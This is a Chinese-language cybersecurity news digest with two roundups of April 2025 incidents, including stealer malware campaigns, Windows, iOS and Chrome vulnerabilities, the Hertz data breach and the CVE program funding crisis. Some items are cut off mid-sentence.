Loader加载器，通过YAML反序列化漏洞执行内存驻留攻击链，最终部署可窃取iCloud密钥、SSH凭证及云平台配置的RN Stealer窃密程序。攻击采用多阶段载荷触发机制，仅当 3、Node.js 恶意攻击瞄准加密货币用户 https://thehackernews.com/2025/04/nodejs-malware-campaign-targets-crypto.html 2025年4月17日，微软披露一起持续半年的恶意广告活动，攻击者利用Node.js框架伪造加密货币交易平台Binance及TradingView的安装程序，针对全球加密用户实施数据窃取。自2024年10月起，黑客通过仿冒网站诱导用户下载含恶意DLL文件的安装包，该组件通过Windows计划任务建立持久化机制，并利用PowerShell脚本绕过Microsoft Defender端点防护，窃取系统信息、硬件配置及应用程序数据。攻击链后期通过 4、上月修补的Windows NTLM 漏洞遭多起攻击活动利用 https://www.freebuf.com/articles/system/427892.html 微软上月已发布补丁的 Windows NTLM 哈希泄露漏洞 CVE-2025-24054，近期被威胁分子用于针对波兰和罗马尼亚政府及私营机构的攻击活动。Check Point 研究人员表示："自 2025 年 3 月 19 日起已观测到该漏洞的野外活跃利用，攻击者可能借此泄露 NTLM 哈希或用户密码，进而入侵系统。" 5、苹果紧急修复两个已被利用的iOS漏洞 https://www.freebuf.com/news/427783.html 苹果公司已发布iOS 18.4.1和iPadOS 18.4.1更新，修复两个被用于针对特定iPhone用户实施高度定向、复杂攻击的关键零日漏洞。这两个漏洞存在于CoreAudio和RPAC组件中，攻击者可利用它们在受影响设备上执行任意代码或绕过安全保护机制。 6、Windows 11高危漏洞：300毫秒即可提权至管理员 https://www.freebuf.com/articles/427686.html Windows 11 存在一个严重漏洞，攻击者可在短短 300 毫秒内从低权限用户提升至系统管理员权限。该漏洞编号为 CVE-2025-24076，通过精密的 DLL 劫持技术利用 Windows 11“移动设备”功能的缺陷。安全研究人员于 2024 年 9 月发现此漏洞，并于 2025 年 4 月 15 日公开披露，其攻击目标是 Windows 11 摄像头功能加载的 DLL 文件。 7、研究人员成功揭露 Medusa 勒索软件组织的暗网服务器真实身份 https://www.freebuf.com/articles/427773.html 网络安全研究人员近日成功揭露了当今最臭名昭著的勒索软件运营服务器之一的真实身份。Medusa 勒索软件组织长期通过 Tor 隐藏服务保持相对匿名性，但研究人员通过利用其基础设施中的漏洞，成功破解了该组织的伪装。这一发现具有特殊意义，因为这是少数通过技术漏洞（而非操作安全失误）成功突破 Tor 网络匿名性保护的网络犯罪案例。 8、美国CISA紧急拨款维持CVE漏洞数据库运转 https://cybersecuritynews.com/cisa-provides-last-minute-support/ CISA紧急续签MITRE合同，确保CVE项目11个月资金支持，避免全球漏洞管理停摆风险。CVE基金会成立推动项目独立，解决单一政府资助的可持续性问题。CVE作为关键漏洞标识系统，中断将破坏安全公告、工具厂商和关键基础设施运作。 9、攻击者滥用AI平台仿冒微软登录 多阶段钓鱼攻击窃取实时凭证 https://cybersecuritynews.com/hackers-weaponize-gamma-tool-via-cloudflare-turnstile/ 网络安全专家发现攻击者利用AI工具Gamma发起多阶段钓鱼攻击，通过合法平台托管恶意内容窃取微软账户凭证。攻击链结合中间人技术，仿冒微软登录页面实时验证凭证并绕过多因素认证，凸显钓鱼攻击日益精密，需部署高级安全解决方案应对。 10、新型BPFDoor助力攻击者在Linux服务器中实现隐蔽横向移动 https://thehackernews.com/2025/04/new-bpfdoor-controller-enables-stealthy.html 网络安全研究人员发现Earth Bluecrow组织使用新型BPFDoor控制器组件攻击多国电信、金融及零售业，该Linux后门利用BPF技术绕过防火墙，通过密码验证实现隐蔽横向渗透，支持多协议控制并加密通信，威胁长期潜伏。专家呼吁加强BPF代码分析以防御此类攻击。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Storm-1811组织通过微软Teams聊天社工攻击金融领域 https://gbhackers.com/hackers-use-microsoft-teams-to-deliver-malware 2025年4月15日，研究人员披露一起针对金融及专业服务领域的高级供应链攻击。黑客通过伪造微软Teams内部IT支持账号，固定时间定向联系企业高管，诱骗其启动Windows快速协助工具（Quick Assist），进而部署基于TypeLib组件劫持的新型持久化恶意程序。攻击者篡改IE浏览器COM注册表项，使系统启动时自动执行托管于Google Drive的脚本，最终投放具备Telegram C2通信能力的PowerShell后门。 2、汽车租赁公司Hertz数据泄露影响多国客户 https://www.helpnetsecurity.com/2025/04/15/hertz-data-breach-customers-in-us-eu-uk-australia-and-canada-affected/ 2025年4月15日，美国汽车租赁巨头Hertz披露其因第三方服务商Cleo文件传输平台零日漏洞发生重大数据泄露，影响美国、欧盟、英国、加拿大及澳大利亚客户。泄露数据包括客户姓名、联系方式、出生日期、信用卡/驾照信息，部分用户社保号、护照、医疗及工伤索赔记录等敏感信息遭窃。尽管Hertz未公布总受影响人数，但仅美国缅因州已有3409名居民确认受害，推测全球规模较大。 3、SectopRAT通过伪造的恶意PDF转DOCX工具窃密 https://www.cloudsek.com/blog/byte-bandits-how-fake-pdf-converters-are-stealing-more-than-just-your-documents 2025年4月15日，研究人员披露一起针对全球用户的精密供应链攻击事件。黑客伪造PDFCandy.com界面，通过仿冒域名诱导用户下载恶意PDF转DOCX工具。受害者执行伪造工具时，会被诱骗运行恶意PowerShell指令，进而部署Arechclient2窃密木马（SectopRAT变种）。该恶意程序可窃取浏览器凭证、加密货币钱包、系统敏感文件等数据。安全团队溯源发现攻击者利 4、CVE漏洞数据库项目面临停摆危机 https://www.csoonline.com/article/3963190/cve-program-faces-swift-end-after-dhs-fails-to-renew-contract-leaving-security-flaw-tracking-in-limbo.html 美国国土安全部终止与MITRE的CVE漏洞数据库合同，25年网络安全基石面临崩塌。业界痛斥此举将破坏全球漏洞追踪体系，威胁防御生态。尽管CISA承诺缓解影响，私营领域或需紧急填补空缺，但过渡挑战巨大。政治预算削减或为主因，专家警告将引发连锁反应。 5、Chrome曝高危漏洞：攻击者可窃取数据并获取未授权访问权限 https://cybersecuritynews.com/critical-chrome-vulnerability-steal-data/ 谷歌紧急修复Chrome两个高危漏洞（CVE-2025-3619堆溢出和CVE-2025-3620释放后使用），攻击者可远程窃取密码、财务数据或控制设备。影响Windows/Mac 135.0.7049.95/.96前版本及Linux 135.0.7049.95前版本。用户需立即通过菜单"帮助关于"更新至最新版，未修补系统面临极高风险。 6、新型PasivRobber恶意软件窃取macOS系统与应用数据 https://cybersecuritynews.com/new-pasivrobber-malware-steals-data/ 复杂间谍软件"PasivRobber"针对macOS设备，专门窃取中国用户微信、QQ等通讯数据。采用高级混淆技术、多组件架构及28个插件，全面监控聊天记录、密码等敏感信息。其开发者疑与中国公司相关，建议更新系统并监控可疑活动以防范威胁。 7、Exchange 2016与2019版本将于六个月后终止支持 https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-2016-and-2019-reach-end-of-support-in-six-months/ 微软警告Exchange 2016/2019将于2025年10月14日终止支持，届时未升级的服务器将无法获取安全补丁，面临攻击风险。微软不提供延期支持方案，强烈建议用户立即升级。 8、WordPress热门插件SureTriggers曝高危漏洞，4小时内遭大规模利用 https://www.freebuf.com/articles/web/427574.html 2025年4月10日，热门WordPress插件SureTriggers曝出严重漏洞，在公开披露后仅四小时内就遭到攻击者大规模利用。该高危身份验证绕过漏洞影响1.0.78及之前所有版本，全球安装量超过10万次。攻击者可借此在未经验证的情况下，在受影响网站上创建管理员账户，可能导致整个网站沦陷。 9、4chan遭入侵？竞争对手Soyjak论坛黑客宣称泄露其源代码 https://www.freebuf.com/news/427639.html 知名图片论坛4chan正面临重大安全事件。在竞争对手Soyjak.st论坛用户宣称入侵该网站并泄露其源代码后，4chan目前处于宕机状态，相关调查仍在进行中。用户和研究人员发现，4chan定制化源代码（广为人知的Yotsuba系统）可能已遭泄露。颇具讽刺意味的是，攻击者自称与Soyjak.st有关联——这是一个知名度较低但与4chan存在竞争关系的图片论坛社区。 10、微软提醒Windows 11用户勿删除神秘的"inetpub"文件夹 https://www.freebuf.com/articles/system/427629.html 近期安全更新后在Windows系统上出现的一个看似空白的文件夹引发了用户担忧，微软证实这是有意为之的安全措施，不应被删除。该目录通常位于C:\inetpub，即使对于不运行Web服务器软件的用户，它也是修补最近漏洞的关键组件。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。